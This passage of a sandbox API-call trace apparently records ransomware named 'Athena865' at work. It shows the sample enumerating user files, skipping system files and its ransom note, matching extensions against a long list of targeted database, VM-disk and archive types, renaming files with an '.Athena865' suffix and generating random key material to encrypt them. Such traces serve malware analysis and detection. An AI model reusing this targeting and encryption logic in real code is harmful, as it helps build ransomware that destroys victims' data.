(lpString1="mp3", lpString2="dbb") returned 1 [0102.295] lstrlenW (lpString="vmdk") returned 4 [0102.295] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0102.295] lstrlenW (lpString="rar") returned 3 [0102.295] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0102.295] lstrlenW (lpString="zip") returned 3 [0102.295] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0102.295] lstrlenW (lpString="tgz") returned 3 [0102.295] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0102.295] lstrlenW (lpString="vbox") returned 4 [0102.296] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0102.296] lstrlenW (lpString="vdi") returned 3 [0102.296] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0102.296] lstrlenW (lpString="vhd") returned 3 [0102.296] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0102.296] lstrlenW (lpString="vhdx") returned 4 [0102.296] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0102.296] lstrlenW (lpString="avhd") returned 4 [0102.296] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0102.296] lstrlenW (lpString="db") returned 2 [0102.296] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0102.296] lstrlenW (lpString="db2") returned 3 [0102.296] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0102.296] lstrlenW (lpString="db3") returned 3 [0102.296] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0102.296] lstrlenW (lpString="dbf") returned 3 [0102.296] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0102.296] lstrlenW (lpString="mdf") returned 3 [0102.296] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0102.296] lstrlenW (lpString="mdb") returned 3 [0102.296] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0102.296] lstrlenW (lpString="sql") returned 3 [0102.296] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0102.296] lstrlenW (lpString="sqlite") returned 6 [0102.296] lstrcmpiW (lpString1="r2.mp3", lpString2="sqlite") returned -1 [0102.296] lstrlenW (lpString="sqlite3") returned 7 [0102.296] lstrcmpiW (lpString1="Jr2.mp3", lpString2="sqlite3") returned -1 [0102.296] lstrlenW (lpString="sqlitedb") returned 8 [0102.296] lstrcmpiW (lpString1="RJr2.mp3", lpString2="sqlitedb") returned -1 [0102.296] lstrlenW (lpString="xml") returned 3 [0102.296] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0102.296] lstrlenW (lpString="$er") returned 3 [0102.297] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0102.297] lstrlenW (lpString="4dd") returned 3 [0102.297] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0102.297] lstrlenW (lpString="4dl") returned 3 [0102.297] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0102.297] lstrlenW (lpString="^^^") returned 3 [0102.297] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0102.297] lstrlenW (lpString="abs") returned 3 [0102.297] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0102.297] lstrlenW (lpString="abx") returned 3 [0102.297] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0102.297] lstrlenW (lpString="accdb") returned 5 [0102.297] lstrcmpiW (lpString1="2.mp3", lpString2="accdb") returned -1 [0102.297] lstrlenW (lpString="accdc") returned 5 [0102.297] lstrcmpiW (lpString1="2.mp3", lpString2="accdc") returned -1 [0102.297] lstrlenW (lpString="accde") returned 5 [0102.297] lstrcmpiW (lpString1="2.mp3", lpString2="accde") returned -1 [0102.297] lstrlenW (lpString="accdr") returned 5 [0102.297] lstrcmpiW (lpString1="2.mp3", lpString2="accdr") returned -1 [0102.297] lstrlenW (lpString="accdt") returned 5 [0102.297] lstrcmpiW (lpString1="2.mp3", lpString2="accdt") returned -1 [0102.297] lstrlenW (lpString="accdw") returned 5 [0102.297] lstrcmpiW (lpString1="2.mp3", lpString2="accdw") returned -1 [0102.297] lstrlenW (lpString="accft") returned 5 [0102.297] lstrcmpiW (lpString1="2.mp3", lpString2="accft") returned -1 [0102.297] lstrlenW (lpString="adb") returned 3 [0102.297] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.297] lstrlenW (lpString="adb") returned 3 [0102.297] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.297] lstrlenW (lpString="ade") returned 3 [0102.297] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0102.297] lstrlenW (lpString="adf") returned 3 [0102.297] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0102.298] lstrlenW (lpString="adn") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0102.298] lstrlenW (lpString="adp") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0102.298] lstrlenW (lpString="alf") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0102.298] lstrlenW (lpString="ask") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0102.298] lstrlenW (lpString="btr") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0102.298] lstrlenW (lpString="cat") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0102.298] lstrlenW (lpString="cdb") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0102.298] lstrlenW (lpString="ckp") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0102.298] lstrlenW (lpString="cma") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0102.298] lstrlenW (lpString="cpd") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0102.298] lstrlenW (lpString="dacpac") returned 6 [0102.298] lstrcmpiW (lpString1="r2.mp3", lpString2="dacpac") returned 1 [0102.298] lstrlenW (lpString="dad") returned 3 [0102.298] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0102.298] lstrlenW (lpString="dadiagrams") returned 10 [0102.298] lstrcmpiW (lpString1="kaRJr2.mp3", lpString2="dadiagrams") returned 1 [0102.298] lstrlenW (lpString="daschema") returned 8 [0102.298] lstrcmpiW (lpString1="RJr2.mp3", lpString2="daschema") returned 1 [0102.298] lstrlenW (lpString="db-journal") returned 10 [0102.298] lstrcmpiW (lpString1="kaRJr2.mp3", lpString2="db-journal") returned 1 [0102.298] lstrlenW (lpString="db-shm") returned 6 [0102.298] lstrcmpiW (lpString1="r2.mp3", lpString2="db-shm") returned 1 [0102.298] lstrlenW (lpString="db-wal") returned 6 [0102.299] lstrcmpiW (lpString1="r2.mp3", lpString2="db-wal") returned 1 [0102.299] lstrlenW (lpString="dbc") returned 3 [0102.299] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0102.299] lstrlenW (lpString="dbs") returned 3 [0102.299] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0102.299] lstrlenW (lpString="dbt") returned 3 [0102.299] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0102.299] lstrlenW (lpString="dbv") returned 3 [0102.299] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0102.299] lstrlenW (lpString="dbx") returned 3 [0102.299] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0102.299] lstrlenW (lpString="dcb") returned 3 [0102.299] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0102.299] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0102.299] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0102.299] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0102.299] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\huFe9k28gBkaRJr2.mp3.Athena865") returned 104 [0102.299] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\huFe9k28gBkaRJr2.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\hufe9k28gbkarjr2.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\huFe9k28gBkaRJr2.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\hufe9k28gbkarjr2.mp3.athena865"), dwFlags=0x1) returned 1 [0102.300] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\wJbyzOVnUZ9XR-P9FoKE\\huFe9k28gBkaRJr2.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\wjbyzovnuz9xr-p9foke\\hufe9k28gbkarjr2.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.302] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7269) returned 1 [0102.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.303] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.304] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.304] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.304] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f70, lpName=0x0) returned 0x17c [0102.304] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f70) returned 0x100000 [0102.305] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.305] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.305] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x527fa8 [0102.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527fa8 | out: hHeap=0x4f0000) returned 1 [0102.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0102.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0102.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.306] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.306] CloseHandle (hObject=0x17c) returned 1 [0102.306] CloseHandle (hObject=0x154) returned 1 [0102.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.307] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a2e710, ftCreationTime.dwHighDateTime=0x1d4c5e4, ftLastAccessTime.dwLowDateTime=0x1bfa9150, ftLastAccessTime.dwHighDateTime=0x1d4d2fa, ftLastWriteTime.dwLowDateTime=0x1bfa9150, ftLastWriteTime.dwHighDateTime=0x1d4d2fa, nFileSizeHigh=0x0, nFileSizeLow=0x1440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rp h6y0xctdi_6X3ZI3I.mp3", cAlternateFileName="RPH6Y0~1.MP3")) returned 1 [0102.307] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2=".") returned 1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="..") returned 1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="windows") returned -1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="bootmgr") returned 1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="temp") returned -1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="pagefile.sys") returned 1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="boot") returned 1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="ids.txt") returned 1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="ntuser.dat") returned 1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="perflogs") returned 1 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2="MSBuild") returned 1 [0102.308] lstrlenW (lpString="Rp h6y0xctdi_6X3ZI3I.mp3") returned 24 [0102.308] lstrcpyW (in: lpString1=0x241e8dc, lpString2="Rp h6y0xctdi_6X3ZI3I.mp3" | out: lpString1="Rp h6y0xctdi_6X3ZI3I.mp3") returned="Rp h6y0xctdi_6X3ZI3I.mp3" [0102.308] lstrlenW (lpString="Rp h6y0xctdi_6X3ZI3I.mp3") returned 24 [0102.308] lstrlenW (lpString="Athena865") returned 9 [0102.308] lstrcmpiW (lpString1="3ZI3I.mp3", lpString2="Athena865") returned -1 [0102.308] lstrlenW (lpString=".dll") returned 4 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2=".dll") returned 1 [0102.308] lstrlenW (lpString=".lnk") returned 4 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2=".lnk") returned 1 [0102.308] lstrlenW (lpString=".ini") returned 4 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2=".ini") returned 1 [0102.308] lstrlenW (lpString=".sys") returned 4 [0102.308] lstrcmpiW (lpString1="Rp h6y0xctdi_6X3ZI3I.mp3", lpString2=".sys") returned 1 [0102.308] lstrlenW (lpString="Rp h6y0xctdi_6X3ZI3I.mp3") returned 24 [0102.308] lstrlenW (lpString="bak") returned 3 [0102.308] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0102.308] lstrlenW (lpString="ba_") returned 3 [0102.308] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0102.308] lstrlenW (lpString="dbb") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0102.309] lstrlenW (lpString="vmdk") returned 4 [0102.309] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0102.309] lstrlenW (lpString="rar") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0102.309] lstrlenW (lpString="zip") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0102.309] lstrlenW (lpString="tgz") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0102.309] lstrlenW (lpString="vbox") returned 4 [0102.309] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0102.309] lstrlenW (lpString="vdi") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0102.309] lstrlenW (lpString="vhd") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0102.309] lstrlenW (lpString="vhdx") returned 4 [0102.309] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0102.309] lstrlenW (lpString="avhd") returned 4 [0102.309] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0102.309] lstrlenW (lpString="db") returned 2 [0102.309] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0102.309] lstrlenW (lpString="db2") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0102.309] lstrlenW (lpString="db3") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0102.309] lstrlenW (lpString="dbf") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0102.309] lstrlenW (lpString="mdf") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0102.309] lstrlenW (lpString="mdb") returned 3 [0102.309] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0102.309] lstrlenW (lpString="sql") returned 3 [0102.310] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0102.310] lstrlenW (lpString="sqlite") returned 6 [0102.310] lstrcmpiW (lpString1="3I.mp3", lpString2="sqlite") returned -1 [0102.310] lstrlenW (lpString="sqlite3") returned 7 [0102.310] lstrcmpiW (lpString1="I3I.mp3", lpString2="sqlite3") returned -1 [0102.310] lstrlenW (lpString="sqlitedb") returned 8 [0102.310] lstrcmpiW (lpString1="ZI3I.mp3", lpString2="sqlitedb") returned 1 [0102.310] lstrlenW (lpString="xml") returned 3 [0102.310] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0102.310] lstrlenW (lpString="$er") returned 3 [0102.310] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0102.310] lstrlenW (lpString="4dd") returned 3 [0102.310] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0102.310] lstrlenW (lpString="4dl") returned 3 [0102.310] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0102.310] lstrlenW (lpString="^^^") returned 3 [0102.310] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0102.310] lstrlenW (lpString="abs") returned 3 [0102.310] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0102.310] lstrlenW (lpString="abx") returned 3 [0102.310] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0102.310] lstrlenW (lpString="accdb") returned 5 [0102.310] lstrcmpiW (lpString1="I.mp3", lpString2="accdb") returned 1 [0102.310] lstrlenW (lpString="accdc") returned 5 [0102.310] lstrcmpiW (lpString1="I.mp3", lpString2="accdc") returned 1 [0102.310] lstrlenW (lpString="accde") returned 5 [0102.310] lstrcmpiW (lpString1="I.mp3", lpString2="accde") returned 1 [0102.310] lstrlenW (lpString="accdr") returned 5 [0102.310] lstrcmpiW (lpString1="I.mp3", lpString2="accdr") returned 1 [0102.310] lstrlenW (lpString="accdt") returned 5 [0102.310] lstrcmpiW (lpString1="I.mp3", lpString2="accdt") returned 1 [0102.310] lstrlenW (lpString="accdw") returned 5 [0102.311] lstrcmpiW (lpString1="I.mp3", lpString2="accdw") returned 1 [0102.311] lstrlenW (lpString="accft") returned 5 [0102.311] lstrcmpiW (lpString1="I.mp3", lpString2="accft") returned 1 [0102.311] lstrlenW (lpString="adb") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.311] lstrlenW (lpString="adb") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.311] lstrlenW (lpString="ade") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0102.311] lstrlenW (lpString="adf") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0102.311] lstrlenW (lpString="adn") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0102.311] lstrlenW (lpString="adp") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0102.311] lstrlenW (lpString="alf") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0102.311] lstrlenW (lpString="ask") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0102.311] lstrlenW (lpString="btr") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0102.311] lstrlenW (lpString="cat") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0102.311] lstrlenW (lpString="cdb") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0102.311] lstrlenW (lpString="ckp") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0102.311] lstrlenW (lpString="cma") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0102.311] lstrlenW (lpString="cpd") returned 3 [0102.311] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0102.311] lstrlenW (lpString="dacpac") returned 6 [0102.312] lstrcmpiW (lpString1="3I.mp3", lpString2="dacpac") returned -1 [0102.312] lstrlenW (lpString="dad") returned 3 [0102.312] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0102.312] lstrlenW (lpString="dadiagrams") returned 10 [0102.312] lstrcmpiW (lpString1="X3ZI3I.mp3", lpString2="dadiagrams") returned 1 [0102.312] lstrlenW (lpString="daschema") returned 8 [0102.312] lstrcmpiW (lpString1="ZI3I.mp3", lpString2="daschema") returned 1 [0102.312] lstrlenW (lpString="db-journal") returned 10 [0102.312] lstrcmpiW (lpString1="X3ZI3I.mp3", lpString2="db-journal") returned 1 [0102.312] lstrlenW (lpString="db-shm") returned 6 [0102.312] lstrcmpiW (lpString1="3I.mp3", lpString2="db-shm") returned -1 [0102.312] lstrlenW (lpString="db-wal") returned 6 [0102.312] lstrcmpiW (lpString1="3I.mp3", lpString2="db-wal") returned -1 [0102.312] lstrlenW (lpString="dbc") returned 3 [0102.312] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0102.312] lstrlenW (lpString="dbs") returned 3 [0102.312] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0102.312] lstrlenW (lpString="dbt") returned 3 [0102.312] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0102.312] lstrlenW (lpString="dbv") returned 3 [0102.312] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0102.312] lstrlenW (lpString="dbx") returned 3 [0102.312] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0102.312] lstrlenW (lpString="dcb") returned 3 [0102.312] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0102.312] lstrlenW (lpString="dct") returned 3 [0102.312] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0102.312] lstrlenW (lpString="dcx") returned 3 [0102.312] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0102.312] lstrlenW (lpString="ddl") returned 3 [0102.312] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0102.312] lstrlenW (lpString="dlis") returned 4 [0102.312] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1 [0102.313] lstrlenW (lpString="dp1") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1 [0102.313] lstrlenW (lpString="dqy") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1 [0102.313] lstrlenW (lpString="dsk") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1 [0102.313] lstrlenW (lpString="dsn") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1 [0102.313] lstrlenW (lpString="dtsx") returned 4 [0102.313] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1 [0102.313] lstrlenW (lpString="dxl") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1 [0102.313] lstrlenW (lpString="eco") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1 [0102.313] lstrlenW (lpString="ecx") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1 [0102.313] lstrlenW (lpString="edb") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1 [0102.313] lstrlenW (lpString="epim") returned 4 [0102.313] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1 [0102.313] lstrlenW (lpString="fcd") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1 [0102.313] lstrlenW (lpString="fdb") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1 [0102.313] lstrlenW (lpString="fic") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1 [0102.313] lstrlenW (lpString="flexolibrary") returned 12 [0102.313] lstrcmpiW (lpString1="_6X3ZI3I.mp3", lpString2="flexolibrary") returned -1 [0102.313] lstrlenW (lpString="fm5") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1 [0102.313] lstrlenW (lpString="fmp") returned 3 [0102.313] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1 [0102.313] lstrlenW (lpString="fmp12") returned 5 [0102.313] lstrcmpiW (lpString1="I.mp3", lpString2="fmp12") returned 1 [0102.314] lstrlenW (lpString="fmpsl") returned 5 [0102.314] lstrcmpiW (lpString1="I.mp3", lpString2="fmpsl") returned 1 [0102.314] lstrlenW (lpString="fol") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1 [0102.314] lstrlenW (lpString="fp3") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1 [0102.314] lstrlenW (lpString="fp4") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1 [0102.314] lstrlenW (lpString="fp5") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1 [0102.314] lstrlenW (lpString="fp7") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1 [0102.314] lstrlenW (lpString="fpt") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1 [0102.314] lstrlenW (lpString="frm") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1 [0102.314] lstrlenW (lpString="gdb") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0102.314] lstrlenW (lpString="gdb") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0102.314] lstrlenW (lpString="grdb") returned 4 [0102.314] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1 [0102.314] lstrlenW (lpString="gwi") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1 [0102.314] lstrlenW (lpString="hdb") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1 [0102.314] lstrlenW (lpString="his") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1 [0102.314] lstrlenW (lpString="ib") returned 2 [0102.314] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1 [0102.314] lstrlenW (lpString="idb") returned 3 [0102.314] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1 [0102.314] lstrlenW (lpString="ihx") returned 3 [0102.315] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1 [0102.315] lstrlenW (lpString="itdb") returned 4 [0102.315] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1 [0102.315] lstrlenW (lpString="itw") returned 3 